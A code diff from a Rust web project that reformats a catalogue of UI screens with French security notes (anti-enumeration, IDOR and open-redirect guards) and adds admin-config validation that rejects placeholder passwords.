108 - Screen { name: "ForgotPassword", suggested_route: "/forgot-password", channel: Channel::Browser, auth_level: AuthLevel::Public,
109 - core_methods: "PasswordResetService, POST /api/v1/auth/forgot-password", io: "email → lien reset",
110 - security_notes: &[
111 - "réponse identique que l'email existe ou non (anti-énumération)",
112 - ] },
113 - Screen { name: "ResetPassword", suggested_route: "/reset-password", channel: Channel::Browser, auth_level: AuthLevel::Public,
114 - core_methods: "PasswordResetService, POST /api/v1/auth/reset-password", io: "token + nouveau mdp",
115 - security_notes: &[
116 - "le token ne doit JAMAIS être interpolé dans un `<script>` : le passer par un attribut `data-*` et le lire via `dataset` (l'escaping HTML d'Askama n'échappe pas le contexte JS ni le backslash)",
117 - "consommer le token en un seul usage ; ne pas confirmer si le token est valide avant soumission",
118 - ] },
119 - ]},
120 - Functionality { key: "email_validation", label: "EmailValidation", always: false, screens: &[
121 - Screen { name: "ResendVerification", suggested_route: "/resend-verification", channel: Channel::Browser, auth_level: AuthLevel::Public,
122 - core_methods: "EmailValidationService, POST /api/v1/auth/resend-verification", io: "renvoi email (résultat rendu par le core)",
123 - security_notes: &[
124 - "réponse identique quel que soit l'état du compte (anti-énumération) ; rate-limit les renvois",
125 - ] },
126 - ]},
127 - Functionality { key: "two_factor", label: "TwoFactor", always: false, screens: &[
128 - Screen { name: "TwoFactorChallenge", suggested_route: "/login/2fa", channel: Channel::Browser, auth_level: AuthLevel::Public,
129 - core_methods: "TotpService, POST /api/v1/auth/2fa/verify", io: "code TOTP ou backup",
130 - security_notes: &[
131 - "étape intermédiaire liée à une pré-session : rate-limit strict, ne pas révéler la validité partielle du code",
132 - ] },
133 - Screen { name: "TwoFactorSetup", suggested_route: "/settings/2fa", channel: Channel::Browser, auth_level: AuthLevel::Authenticated,
134 - core_methods: "TotpService::generate_setup/confirm/disable", io: "QR + confirmation",
135 - security_notes: &[
136 - "toute redirection de sécurité doit parser et whitelister les query params attendus — ne jamais forwarder un `RawQuery` brut",
137 - "exiger une confirmation par code avant activation ; le secret TOTP reste chiffré (CryptoService)",
138 - ] },
139 - Screen { name: "TwoFactorBackupCodes", suggested_route: "/settings/2fa/backup", channel: Channel::Browser, auth_level: AuthLevel::Authenticated,
140 - core_methods: "TotpService (backup codes)", io: "génération/affichage codes",
141 - security_notes: &[
142 - "codes affichés une seule fois, jamais logués ; ne stocker que leur hash",
143 - ] },
144 - ]},
145 - Functionality { key: "account_profile", label: "AccountProfile", always: false, screens: &[
146 - Screen { name: "Profile", suggested_route: "/profile", channel: Channel::Browser, auth_level: AuthLevel::Authenticated,
147 - core_methods: "UserService", io: "voir/éditer profil",
148 - security_notes: &[
149 - "n'exposer et n'éditer que le profil de `claims.sub`",
150 - ] },
151 - ]},
152 - Functionality { key: "password_change", label: "PasswordChange", always: false, screens: &[
153 - Screen { name: "PasswordChange", suggested_route: "/settings/password", channel: Channel::Browser, auth_level: AuthLevel::Authenticated,
154 - core_methods: "PasswordChangeService", io: "changement mdp (confirmation email)",
155 - security_notes: &[
156 - "exiger le mot de passe courant ; invalider les autres sessions après changement",
157 - ] },
158 - Screen { name: "ConfirmPasswordChange", suggested_route: "/confirm-password-change", channel: Channel::Browser, auth_level: AuthLevel::Public,
159 - core_methods: "PasswordChangeService::find_by_token/confirm_request", io: "confirme via token",
160 - security_notes: &[
161 - "valider le token côté core ; token à usage unique et expirant",
162 - ] },
163 - ]},
164 - Functionality { key: "session_management", label: "SessionManagement", always: false, screens: &[
165 - Screen { name: "SessionsList", suggested_route: "/settings/sessions", channel: Channel::Browser, auth_level: AuthLevel::ResourceOwner,
166 - core_methods: "RefreshTokenService::list_active/revoke, JwtBlacklistService", io: "liste sessions + révoquer",
167 - security_notes: &[
168 - "IDOR : lister et révoquer uniquement les sessions dont l'`id` appartient à `claims.sub` (vérifier l'appartenance avant révocation)",
169 - ] },
170 - ]},
171 - Functionality { key: "preferences", label: "Preferences", always: false, screens: &[
172 - Screen { name: "Preferences", suggested_route: "/settings/preferences", channel: Channel::Browser, auth_level: AuthLevel::Authenticated,
173 - core_methods: "UserPreferencesService", io: "préférences utilisateur",
174 - security_notes: &[
175 - "ne modifier que les préférences de `claims.sub`",
176 - ] },
177 - ]},
178 - Functionality { key: "oauth_linking", label: "OAuthLinking", always: false, screens: &[
179 - Screen { name: "OAuthAccountLinking", suggested_route: "/settings/oauth", channel: Channel::Browser, auth_level: AuthLevel::Authenticated,
180 - core_methods: "OAuthService, GET /api/v1/auth/oauth/{provider}/redirect", io: "lier/délier comptes (+ boutons login)",
181 - security_notes: &[
182 - "vérifier le paramètre `state` anti-CSRF au retour du provider",
183 - "données renvoyées par l'API en `textContent`, jamais `innerHTML` ; URLs construites via `encodeURIComponent`",
184 - ] },
185 - ]},
186 - Functionality { key: "teams", label: "Teams", always: false, screens: &[
187 - Screen { name: "TeamsManagement", suggested_route: "/teams", channel: Channel::Browser, auth_level: AuthLevel::ResourceOwner,
188 - core_methods: "TeamService (create/add_member/…), TeamRole", io: "équipes + membres (owner/admin/member)",
189 - security_notes: &[
190 - "IDOR/RBAC : vérifier le rôle de l'appelant dans CETTE équipe (`role_of`) avant chaque mutation ; owner non ré-attribuable",
191 - "à l'ajout d'un membre : message générique si l'utilisateur est introuvable (anti-énumération)",
192 - ] },
193 - ]},
194 - Functionality { key: "personal_access_tokens", label: "PersonalAccessTokens", always: false, screens: &[
195 - Screen { name: "PatManagement", suggested_route: "/settings/tokens", channel: Channel::Browser, auth_level: AuthLevel::ResourceOwner,
196 - core_methods: "PersonalTokenService::create/list_for_user/revoke", io: "créer/révoquer jetons (plaintext 1 fois)",
197 - security_notes: &[
198 - "jeton en clair affiché une seule fois, jamais reconsultable ni logué",
199 - "IDOR : révocation et listage filtrés par `claims.sub`",
200 - ] },
201 - ]},
202 - Functionality { key: "admin_users", label: "Admin · Users", always: false, screens: &[
203 - Screen { name: "AdminUsers", suggested_route: "/admin/users", channel: Channel::Browser, auth_level: AuthLevel::Admin,
204 - core_methods: "UserService, RoleService, PasswordResetService, TotpService", io: "liste + CRUD + reset",
205 - security_notes: &[
206 - "`ensure_admin()` dans le handler en plus du middleware (défense en profondeur)",
207 - "empêcher l'auto-suppression ; message générique si utilisateur introuvable",
208 - ] },
209 - ]},
210 - Functionality { key: "admin_roles", label: "Admin · Roles", always: false, screens: &[
211 - Screen { name: "AdminRoles", suggested_route: "/admin/roles", channel: Channel::Browser, auth_level: AuthLevel::Admin,
212 - core_methods: "RoleService, PermissionService", io: "liste + CRUD rôles/permissions",
213 - security_notes: &[
214 - "`ensure_admin()` en défense en profondeur ; protéger le dernier admin",
215 - "ne pas permettre l'auto-escalade de permissions",
216 - ] },
217 - ]},
218 - Functionality { key: "admin_settings", label: "Admin · Settings", always: false, screens: &[
219 - Screen { name: "AdminSettings", suggested_route: "/admin/settings", channel: Channel::Browser, auth_level: AuthLevel::Admin,
220 - core_methods: "AppSettingsService, CryptoService", io: "réglages applicatifs",
221 - security_notes: &[
222 - "`ensure_admin()` en défense en profondeur ; secrets chiffrés via CryptoService, jamais rendus en clair",
223 - ] },
224 - ]},
225 - Functionality { key: "admin_error_log", label: "Admin · ErrorLog", always: false, screens: &[
226 - Screen { name: "AdminErrorLog", suggested_route: "/admin/errors", channel: Channel::Browser, auth_level: AuthLevel::Admin,
227 - core_methods: "error_handler, I18nService", io: "journal d'erreurs",
228 - security_notes: &[
229 - "`ensure_admin()` en défense en profondeur ; ne pas exposer de stack traces / chemins internes en production",
230 - ] },
231 - ]},
232 - Functionality { key: "admin_email_queue", label: "Admin · EmailQueue", always: false, screens: &[
233 - Screen { name: "AdminEmailQueue", suggested_route: "/admin/emails", channel: Channel::Browser, auth_level: AuthLevel::Admin,
234 - core_methods: "EmailQueueService", io: "file d'emails",
235 - security_notes: &[
236 - "`ensure_admin()` en défense en profondeur ; ne pas afficher de contenu d'email sensible en clair",
237 - ] },
238 - ]},
239 - Functionality { key: "admin_dashboard", label: "Admin · Dashboard", always: false, screens: &[
240 - Screen { name: "AdminDashboard", suggested_route: "/admin", channel: Channel::Browser, auth_level: AuthLevel::Admin,
241 - core_methods: "cartes DashboardCardDTO", io: "accueil admin",
242 - security_notes: &[
243 - "`ensure_admin()` en défense en profondeur ; cartes injectées correctement échappées",
244 - ] },
245 - ]},
91 + Functionality {
92 + key: "authentication",
93 + label: "Authentication",
94 + always: true,
95 + screens: &[Screen {
96 + name: "Login",
97 + suggested_route: "/login",
98 + channel: Channel::Browser,
99 + auth_level: AuthLevel::Public,
100 + core_methods: "AuthService, JwtService, POST /api/v1/auth/login",
101 + io: "form login → cookie JWT / challenge 2FA",
102 + security_notes: &[
103 + "redirect post-login : n'autoriser qu'un chemin relatif same-origin (rejeter les URL absolues et `//host`) — bloque l'open redirect `?redirect=`",
104 + "flux public : ne pas divulguer si l'identifiant/email existe (message d'échec générique)",
105 + ],
106 + }],
107 + },
108 + Functionality {
109 + key: "registration",
110 + label: "Registration",
111 + always: false,
112 + screens: &[Screen {
113 + name: "Register",
114 + suggested_route: "/register",
115 + channel: Channel::Browser,
116 + auth_level: AuthLevel::Public,
117 + core_methods: "UserService, AppSettingsService(allow_registration), POST /api/v1/auth/register",
118 + io: "form inscription",
119 + security_notes: &[
120 + "respecter `allow_registration` (403 si désactivé) ; valider/normaliser l'email côté serveur",
121 + "flux public : ne pas révéler qu'un email est déjà enregistré",
122 + ],
123 + }],
124 + },
125 + Functionality {
126 + key: "password_reset",
127 + label: "PasswordReset",
128 + always: false,
129 + screens: &[
130 + Screen {
131 + name: "ForgotPassword",
132 + suggested_route: "/forgot-password",
133 + channel: Channel::Browser,
134 + auth_level: AuthLevel::Public,
135 + core_methods: "PasswordResetService, POST /api/v1/auth/forgot-password",
136 + io: "email → lien reset",
137 + security_notes: &["réponse identique que l'email existe ou non (anti-énumération)"],
138 + },
139 + Screen {
140 + name: "ResetPassword",
141 + suggested_route: "/reset-password",
142 + channel: Channel::Browser,
143 + auth_level: AuthLevel::Public,
144 + core_methods: "PasswordResetService, POST /api/v1/auth/reset-password",
145 + io: "token + nouveau mdp",
146 + security_notes: &[
147 + "le token ne doit JAMAIS être interpolé dans un `<script>` : le passer par un attribut `data-*` et le lire via `dataset` (l'escaping HTML d'Askama n'échappe pas le contexte JS ni le backslash)",
148 + "consommer le token en un seul usage ; ne pas confirmer si le token est valide avant soumission",
149 + ],
150 + },
151 + ],
152 + },
153 + Functionality {
154 + key: "email_validation",
155 + label: "EmailValidation",
156 + always: false,
157 + screens: &[Screen {
158 + name: "ResendVerification",
159 + suggested_route: "/resend-verification",
160 + channel: Channel::Browser,
161 + auth_level: AuthLevel::Public,
162 + core_methods: "EmailValidationService, POST /api/v1/auth/resend-verification",
163 + io: "renvoi email (résultat rendu par le core)",
164 + security_notes: &[
165 + "réponse identique quel que soit l'état du compte (anti-énumération) ; rate-limit les renvois",
166 + ],
167 + }],
168 + },
169 + Functionality {
170 + key: "two_factor",
171 + label: "TwoFactor",
172 + always: false,
173 + screens: &[
174 + Screen {
175 + name: "TwoFactorChallenge",
176 + suggested_route: "/login/2fa",
177 + channel: Channel::Browser,
178 + auth_level: AuthLevel::Public,
179 + core_methods: "TotpService, POST /api/v1/auth/2fa/verify",
180 + io: "code TOTP ou backup",
181 + security_notes: &[
182 + "étape intermédiaire liée à une pré-session : rate-limit strict, ne pas révéler la validité partielle du code",
183 + ],
184 + },
185 + Screen {
186 + name: "TwoFactorSetup",
187 + suggested_route: "/settings/2fa",
188 + channel: Channel::Browser,
189 + auth_level: AuthLevel::Authenticated,
190 + core_methods: "TotpService::generate_setup/confirm/disable",
191 + io: "QR + confirmation",
192 + security_notes: &[
193 + "toute redirection de sécurité doit parser et whitelister les query params attendus — ne jamais forwarder un `RawQuery` brut",
194 + "exiger une confirmation par code avant activation ; le secret TOTP reste chiffré (CryptoService)",
195 + ],
196 + },
197 + Screen {
198 + name: "TwoFactorBackupCodes",
199 + suggested_route: "/settings/2fa/backup",
200 + channel: Channel::Browser,
201 + auth_level: AuthLevel::Authenticated,
202 + core_methods: "TotpService (backup codes)",
203 + io: "génération/affichage codes",
204 + security_notes: &[
205 + "codes affichés une seule fois, jamais logués ; ne stocker que leur hash",
206 + ],
207 + },
208 + ],
209 + },
210 + Functionality {
211 + key: "account_profile",
212 + label: "AccountProfile",
213 + always: false,
214 + screens: &[Screen {
215 + name: "Profile",
216 + suggested_route: "/profile",
217 + channel: Channel::Browser,
218 + auth_level: AuthLevel::Authenticated,
219 + core_methods: "UserService",
220 + io: "voir/éditer profil",
221 + security_notes: &["n'exposer et n'éditer que le profil de `claims.sub`"],
222 + }],
223 + },
224 + Functionality {
225 + key: "password_change",
226 + label: "PasswordChange",
227 + always: false,
228 + screens: &[
229 + Screen {
230 + name: "PasswordChange",
231 + suggested_route: "/settings/password",
232 + channel: Channel::Browser,
233 + auth_level: AuthLevel::Authenticated,
234 + core_methods: "PasswordChangeService",
235 + io: "changement mdp (confirmation email)",
236 + security_notes: &[
237 + "exiger le mot de passe courant ; invalider les autres sessions après changement",
238 + ],
239 + },
240 + Screen {
241 + name: "ConfirmPasswordChange",
242 + suggested_route: "/confirm-password-change",
243 + channel: Channel::Browser,
244 + auth_level: AuthLevel::Public,
245 + core_methods: "PasswordChangeService::find_by_token/confirm_request",
246 + io: "confirme via token",
247 + security_notes: &["valider le token côté core ; token à usage unique et expirant"],
248 + },
249 + ],
250 + },
251 + Functionality {
252 + key: "session_management",
253 + label: "SessionManagement",
254 + always: false,
255 + screens: &[Screen {
256 + name: "SessionsList",
257 + suggested_route: "/settings/sessions",
258 + channel: Channel::Browser,
259 + auth_level: AuthLevel::ResourceOwner,
260 + core_methods: "RefreshTokenService::list_active/revoke, JwtBlacklistService",
261 + io: "liste sessions + révoquer",
262 + security_notes: &[
263 + "IDOR : lister et révoquer uniquement les sessions dont l'`id` appartient à `claims.sub` (vérifier l'appartenance avant révocation)",
264 + ],
265 + }],
266 + },
267 + Functionality {
268 + key: "preferences",
269 + label: "Preferences",
270 + always: false,
271 + screens: &[Screen {
272 + name: "Preferences",
273 + suggested_route: "/settings/preferences",
274 + channel: Channel::Browser,
275 + auth_level: AuthLevel::Authenticated,
276 + core_methods: "UserPreferencesService",
277 + io: "préférences utilisateur",
278 + security_notes: &["ne modifier que les préférences de `claims.sub`"],
279 + }],
280 + },
281 + Functionality {
282 + key: "oauth_linking",
283 + label: "OAuthLinking",
284 + always: false,
285 + screens: &[Screen {
286 + name: "OAuthAccountLinking",
287 + suggested_route: "/settings/oauth",
288 + channel: Channel::Browser,
289 + auth_level: AuthLevel::Authenticated,
290 + core_methods: "OAuthService, GET /api/v1/auth/oauth/{provider}/redirect",
291 + io: "lier/délier comptes (+ boutons login)",
292 + security_notes: &[
293 + "vérifier le paramètre `state` anti-CSRF au retour du provider",
294 + "données renvoyées par l'API en `textContent`, jamais `innerHTML` ; URLs construites via `encodeURIComponent`",
295 + ],
296 + }],
297 + },
298 + Functionality {
299 + key: "teams",
300 + label: "Teams",
301 + always: false,
302 + screens: &[Screen {
303 + name: "TeamsManagement",
304 + suggested_route: "/teams",
305 + channel: Channel::Browser,
306 + auth_level: AuthLevel::ResourceOwner,
307 + core_methods: "TeamService (create/add_member/…), TeamRole",
308 + io: "équipes + membres (owner/admin/member)",
309 + security_notes: &[
310 + "IDOR/RBAC : vérifier le rôle de l'appelant dans CETTE équipe (`role_of`) avant chaque mutation ; owner non ré-attribuable",
311 + "à l'ajout d'un membre : message générique si l'utilisateur est introuvable (anti-énumération)",
312 + ],
313 + }],
314 + },
315 + Functionality {
316 + key: "personal_access_tokens",
317 + label: "PersonalAccessTokens",
318 + always: false,
319 + screens: &[Screen {
320 + name: "PatManagement",
321 + suggested_route: "/settings/tokens",
322 + channel: Channel::Browser,
323 + auth_level: AuthLevel::ResourceOwner,
324 + core_methods: "PersonalTokenService::create/list_for_user/revoke",
325 + io: "créer/révoquer jetons (plaintext 1 fois)",
326 + security_notes: &[
327 + "jeton en clair affiché une seule fois, jamais reconsultable ni logué",
328 + "IDOR : révocation et listage filtrés par `claims.sub`",
329 + ],
330 + }],
331 + },
332 + Functionality {
333 + key: "admin_users",
334 + label: "Admin · Users",
335 + always: false,
336 + screens: &[Screen {
337 + name: "AdminUsers",
338 + suggested_route: "/admin/users",
339 + channel: Channel::Browser,
340 + auth_level: AuthLevel::Admin,
341 + core_methods: "UserService, RoleService, PasswordResetService, TotpService",
342 + io: "liste + CRUD + reset",
343 + security_notes: &[
344 + "`ensure_admin()` dans le handler en plus du middleware (défense en profondeur)",
345 + "empêcher l'auto-suppression ; message générique si utilisateur introuvable",
346 + ],
347 + }],
348 + },
349 + Functionality {
350 + key: "admin_roles",
351 + label: "Admin · Roles",
352 + always: false,
353 + screens: &[Screen {
354 + name: "AdminRoles",
355 + suggested_route: "/admin/roles",
356 + channel: Channel::Browser,
357 + auth_level: AuthLevel::Admin,
358 + core_methods: "RoleService, PermissionService",
359 + io: "liste + CRUD rôles/permissions",
360 + security_notes: &[
361 + "`ensure_admin()` en défense en profondeur ; protéger le dernier admin",
362 + "ne pas permettre l'auto-escalade de permissions",
363 + ],
364 + }],
365 + },
366 + Functionality {
367 + key: "admin_settings",
368 + label: "Admin · Settings",
369 + always: false,
370 + screens: &[Screen {
371 + name: "AdminSettings",
372 + suggested_route: "/admin/settings",
373 + channel: Channel::Browser,
374 + auth_level: AuthLevel::Admin,
375 + core_methods: "AppSettingsService, CryptoService",
376 + io: "réglages applicatifs",
377 + security_notes: &[
378 + "`ensure_admin()` en défense en profondeur ; secrets chiffrés via CryptoService, jamais rendus en clair",
379 + ],
380 + }],
381 + },
382 + Functionality {
383 + key: "admin_error_log",
384 + label: "Admin · ErrorLog",
385 + always: false,
386 + screens: &[Screen {
387 + name: "AdminErrorLog",
388 + suggested_route: "/admin/errors",
389 + channel: Channel::Browser,
390 + auth_level: AuthLevel::Admin,
391 + core_methods: "error_handler, I18nService",
392 + io: "journal d'erreurs",
393 + security_notes: &[
394 + "`ensure_admin()` en défense en profondeur ; ne pas exposer de stack traces / chemins internes en production",
395 + ],
396 + }],
397 + },
398 + Functionality {
399 + key: "admin_email_queue",
400 + label: "Admin · EmailQueue",
401 + always: false,
402 + screens: &[Screen {
403 + name: "AdminEmailQueue",
404 + suggested_route: "/admin/emails",
405 + channel: Channel::Browser,
406 + auth_level: AuthLevel::Admin,
407 + core_methods: "EmailQueueService",
408 + io: "file d'emails",
409 + security_notes: &[
410 + "`ensure_admin()` en défense en profondeur ; ne pas afficher de contenu d'email sensible en clair",
411 + ],
412 + }],
413 + },
414 + Functionality {
415 + key: "admin_dashboard",
416 + label: "Admin · Dashboard",
417 + always: false,
418 + screens: &[Screen {
419 + name: "AdminDashboard",
420 + suggested_route: "/admin",
421 + channel: Channel::Browser,
422 + auth_level: AuthLevel::Admin,
423 + core_methods: "cartes DashboardCardDTO",
424 + io: "accueil admin",
425 + security_notes: &[
426 + "`ensure_admin()` en défense en profondeur ; cartes injectées correctement échappées",
427 + ],
428 + }],
429 + },
246 430 ];
247 431
248 432 #[cfg(test)]
@@ -269,17 +453,37 @@ mod tests {
269 453 #[test]
270 454 fn catalogue_couvre_les_fonctionnalites_attendues() {
271 455 let expected = [
272 - "authentication", "registration", "password_reset", "email_validation",
273 - "two_factor", "account_profile", "password_change", "session_management",
274 - "preferences", "oauth_linking", "teams", "personal_access_tokens",
275 - "admin_users", "admin_roles", "admin_settings", "admin_error_log",
276 - "admin_email_queue", "admin_dashboard",
456 + "authentication",
457 + "registration",
458 + "password_reset",
459 + "email_validation",
460 + "two_factor",
461 + "account_profile",
462 + "password_change",
463 + "session_management",
464 + "preferences",
465 + "oauth_linking",
466 + "teams",
467 + "personal_access_tokens",
468 + "admin_users",
469 + "admin_roles",
470 + "admin_settings",
471 + "admin_error_log",
472 + "admin_email_queue",
473 + "admin_dashboard",
277 474 ];
278 475 let keys: Vec<&str> = all().iter().map(|f| f.key).collect();
279 476 for k in expected {
280 - assert!(keys.contains(&k), "fonctionnalité manquante au catalogue : {k}");
477 + assert!(
478 + keys.contains(&k),
479 + "fonctionnalité manquante au catalogue : {k}"
480 + );
281 481 }
282 - assert_eq!(keys.len(), expected.len(), "nombre de fonctionnalités inattendu");
482 + assert_eq!(
483 + keys.len(),
484 + expected.len(),
485 + "nombre de fonctionnalités inattendu"
486 + );
283 487 }
284 488
285 489 #[test]
M crates/rustwarden-core/src/bin/screen-select/check.rs
+13 -4
@@ -51,9 +51,14 @@ mod tests {
51 51
52 52 fn row(route: &str) -> TodoRow {
53 53 TodoRow {
54 - done: false, functionality: "F".into(), screen: "S".into(),
55 - route: route.into(), channel: "browser".into(), protected: true,
56 - methods: "".into(), io: "".into(),
54 + done: false,
55 + functionality: "F".into(),
56 + screen: "S".into(),
57 + route: route.into(),
58 + channel: "browser".into(),
59 + protected: true,
60 + methods: "".into(),
61 + io: "".into(),
57 62 }
58 63 }
59 64
@@ -83,7 +88,11 @@ mod tests {
83 88 std::fs::create_dir_all(base.join("crates/rustwarden-core/src")).unwrap();
84 89 std::fs::create_dir_all(base.join("target")).unwrap();
85 90 std::fs::write(base.join("src/app.rs"), r#".route("/mine", get(h))"#).unwrap();
86 - std::fs::write(base.join("crates/rustwarden-core/src/x.rs"), r#".route("/vendored", get(h))"#).unwrap();
91 + std::fs::write(
92 + base.join("crates/rustwarden-core/src/x.rs"),
93 + r#".route("/vendored", get(h))"#,
94 + )
95 + .unwrap();
87 96 std::fs::write(base.join("target/y.rs"), r#".route("/built", get(h))"#).unwrap();
88 97
89 98 let hay = collect_sources(&base);
M crates/rustwarden-core/src/bin/screen-select/generate.rs
+26 -6
@@ -42,7 +42,10 @@ pub fn render_plan(inputs: &PlanInputs, rows: &[TodoRow]) -> String {
42 42 inputs.project
43 43 ));
44 44 // Garde-fous transversaux + conventions de rendu sûr (statique, vu en premier).
45 - out.push_str(&section::block(security::GUIDES_ID, &security::guides_body()));
45 + out.push_str(&section::block(
46 + security::GUIDES_ID,
47 + &security::guides_body(),
48 + ));
46 49 out.push_str("\n\n");
47 50 if let Some(design) = &inputs.design_md {
48 51 out.push_str("## Charte graphique (à respecter)\n\n");
@@ -58,7 +61,10 @@ pub fn render_plan(inputs: &PlanInputs, rows: &[TodoRow]) -> String {
58 61 out.push_str(&todo::render(rows));
59 62 out.push('\n');
60 63 // Contrat de sécurité par écran (dérivé du catalogue, en référence sous le tableau).
61 - out.push_str(&section::block(security::PER_SCREEN_ID, &security::reference_body(&inputs.selected)));
64 + out.push_str(&section::block(
65 + security::PER_SCREEN_ID,
66 + &security::reference_body(&inputs.selected),
67 + ));
62 68 out.push('\n');
63 69 out
64 70 }
@@ -89,7 +95,10 @@ mod tests {
89 95 let rows = rows_for(&inputs.selected);
90 96 let out = render_plan(&inputs, &rows);
91 97 assert!(out.contains("# Plan UI — demo"));
92 - assert!(out.contains("**`demo-ui`**"), "l'intro doit nommer la crate <projet>-ui");
98 + assert!(
99 + out.contains("**`demo-ui`**"),
100 + "l'intro doit nommer la crate <projet>-ui"
101 + );
93 102 assert!(out.contains("Police: Inter"));
94 103 assert!(out.contains("navbar: gauche"));
95 104 assert!(out.contains("| Statut | Fonctionnalité |"));
@@ -103,14 +112,22 @@ mod tests {
103 112 let tf = catalogue::by_key("two_factor").unwrap();
104 113 let login = &rows_for(&[auth])[0];
105 114 assert!(!login.protected);
106 - let setup = rows_for(&[tf]).into_iter().find(|r| r.screen == "TwoFactorSetup").unwrap();
115 + let setup = rows_for(&[tf])
116 + .into_iter()
117 + .find(|r| r.screen == "TwoFactorSetup")
118 + .unwrap();
107 119 assert!(setup.protected);
108 120 }
109 121
110 122 #[test]
111 123 fn render_plan_inclut_les_sections_securite() {
112 124 let auth = catalogue::by_key("authentication").unwrap();
113 - let inputs = PlanInputs { project: "demo", selected: vec![auth], design_md: None, layout: None };
125 + let inputs = PlanInputs {
126 + project: "demo",
127 + selected: vec![auth],
128 + design_md: None,
129 + layout: None,
130 + };
114 131 let rows = rows_for(&inputs.selected);
115 132 let out = render_plan(&inputs, &rows);
116 133 assert!(out.contains("<!-- screen-select:security-guides -->"));
@@ -122,6 +139,9 @@ mod tests {
122 139 // le bloc statique doit précéder le tableau (vu en premier par le dev)
123 140 let guides = out.find("Sécurité transversale").unwrap();
124 141 let table = out.find("| Statut").unwrap();
125 - assert!(guides < table, "les garde-fous transversaux doivent précéder le tableau");
142 + assert!(
143 + guides < table,
144 + "les garde-fous transversaux doivent précéder le tableau"
145 + );
126 146 }
127 147 }
M crates/rustwarden-core/src/bin/screen-select/main.rs
+23 -5
@@ -62,14 +62,23 @@ fn run_wizard() -> io::Result<()> {
62 62 Some(std::fs::read_to_string(&design_path)?)
63 63 };
64 64 let layout = prompt("Structure de page (ex. 'navbar: gauche; 2 colonnes', vide si aucune) : ")?;
65 - let layout = if layout.is_empty() { None } else { Some(layout) };
65 + let layout = if layout.is_empty() {
66 + None
67 + } else {
68 + Some(layout)
69 + };
66 70
67 71 let project = std::env::current_dir()?
68 72 .file_name()
69 73 .map(|n| n.to_string_lossy().into_owned())
70 74 .unwrap_or_else(|| "projet".into());
71 75
72 - let inputs = generate::PlanInputs { project: &project, selected, design_md, layout };
76 + let inputs = generate::PlanInputs {
77 + project: &project,
78 + selected,
79 + design_md,
80 + layout,
81 + };
73 82 let desired = generate::rows_for(&inputs.selected);
74 83
75 84 // 3. Fusion si un plan existe déjà (préserve statuts + routes éditées).
@@ -82,7 +91,11 @@ fn run_wizard() -> io::Result<()> {
82 91 let mut c = todo::replace_table(&existing, &merged);
83 92 // …puis régénère les sections sécurité (idempotent, suit la sélection courante).
84 93 c = section::upsert(&c, security::GUIDES_ID, &security::guides_body());
85 - c = section::upsert(&c, security::PER_SCREEN_ID, &security::reference_body(&inputs.selected));
94 + c = section::upsert(
95 + &c,
96 + security::PER_SCREEN_ID,
97 + &security::reference_body(&inputs.selected),
98 + );
86 99 c
87 100 } else {
88 101 generate::render_plan(&inputs, &desired)
@@ -92,8 +105,13 @@ fn run_wizard() -> io::Result<()> {
92 105 std::fs::create_dir_all(parent)?;
93 106 }
94 107 std::fs::write(path, content)?;
95 - println!("\n✓ Plan écrit dans {PLAN_PATH} ({} écrans).", desired.len());
96 - println!(" Contrôlez le réalisé : cargo run -p rustwarden-core --bin screen-select -- --check");
108 + println!(
109 + "\n✓ Plan écrit dans {PLAN_PATH} ({} écrans).",
110 + desired.len()
111 + );
112 + println!(
113 + " Contrôlez le réalisé : cargo run -p rustwarden-core --bin screen-select -- --check"
114 + );
97 115 Ok(())
98 116 }
99 117
M crates/rustwarden-core/src/bin/screen-select/todo.rs
+16 -4
@@ -161,7 +161,11 @@ mod tests {
161 161 fn parse_round_trip() {
162 162 let mut a = row();
163 163 a.done = true;
164 - let b = TodoRow { screen: "SessionsList".into(), route: "/settings/sessions".into(), ..row() };
164 + let b = TodoRow {
165 + screen: "SessionsList".into(),
166 + route: "/settings/sessions".into(),
167 + ..row()
168 + };
165 169 let rendered = render(&[a.clone(), b.clone()]);
166 170 let parsed = parse(&rendered);
167 171 assert_eq!(parsed, vec![a, b]);
@@ -180,7 +184,7 @@ mod tests {
180 184 existing.route = "/custom/2fa".into(); // route éditée par le dev
181 185 // "desired" = catalogue (route suggérée par défaut), même clé (func+screen)
182 186 let desired = row();
183 - let merged = merge(&[existing.clone()], &[desired.clone()]);
187 + let merged = merge(&[existing.clone()], std::slice::from_ref(&desired));
184 188 assert_eq!(merged.len(), 1);
185 189 assert!(merged[0].done, "statut conservé");
186 190 assert_eq!(merged[0].route, "/custom/2fa", "route éditée conservée");
@@ -188,10 +192,18 @@ mod tests {
188 192
189 193 #[test]
190 194 fn merge_ajoute_les_nouveaux() {
191 - let desired_new = TodoRow { functionality: "Teams".into(), screen: "TeamsManagement".into(), ..row() };
195 + let desired_new = TodoRow {
196 + functionality: "Teams".into(),
197 + screen: "TeamsManagement".into(),
198 + ..row()
199 + };
192 200 let merged = merge(&[], &[row(), desired_new.clone()]);
193 201 assert_eq!(merged.len(), 2);
194 - assert!(merged.iter().any(|r| r.screen == "TeamsManagement" && !r.done));
202 + assert!(
203 + merged
204 + .iter()
205 + .any(|r| r.screen == "TeamsManagement" && !r.done)
206 + );
195 207 }
196 208
197 209 #[test]
M crates/rustwarden-core/src/config/admin.rs
+50 -10
@@ -34,16 +34,10 @@ impl AdminConfig {
34 34
35 35 /// Validate the admin configuration, returning an error if any field is invalid.
36 36 pub fn validate(&self) -> Result<(), ValidationError> {
37 - if self.username.len() < 3 || self.username.len() > 64 {
38 - return Err(ValidationError::new("username_length"));
39 - }
40 - if !self
41 - .username
42 - .chars()
43 - .all(|c| c.is_alphanumeric() || c == '_' || c == '-')
44 - {
45 - return Err(ValidationError::new("username_format"));
46 - }
37 + // Delegate charset + length to Username::parse_allow_reserved so
38 + // ADMIN_USERNAME=admin (reserved by public parse) keeps working.
39 + crate::types::Username::parse_allow_reserved(&self.username)
40 + .map_err(|_| ValidationError::new("username_format"))?;
47 41 if !self.email.contains('@') {
48 42 return Err(ValidationError::new("email_format"));
49 43 }
@@ -52,6 +46,9 @@ impl AdminConfig {
52 46 return Err(ValidationError::new("email_format"));
53 47 }
54 48 if let Some(ref password) = self.password {
49 + if password == "REMPLACER_PAR_UN_MOT_DE_PASSE_FORT" || password == "password" {
50 + return Err(ValidationError::new("password_placeholder"));
51 + }
55 52 if password.len() < 8 {
56 53 return Err(ValidationError::new("password_length"));
57 54 }
@@ -59,3 +56,46 @@ impl AdminConfig {
59 56 Ok(())
60 57 }
61 58 }
59 +
60 +#[cfg(test)]
61 +mod tests {
62 + use super::AdminConfig;
63 +
64 + fn config_with_password(password: Option<String>) -> AdminConfig {
65 + AdminConfig {
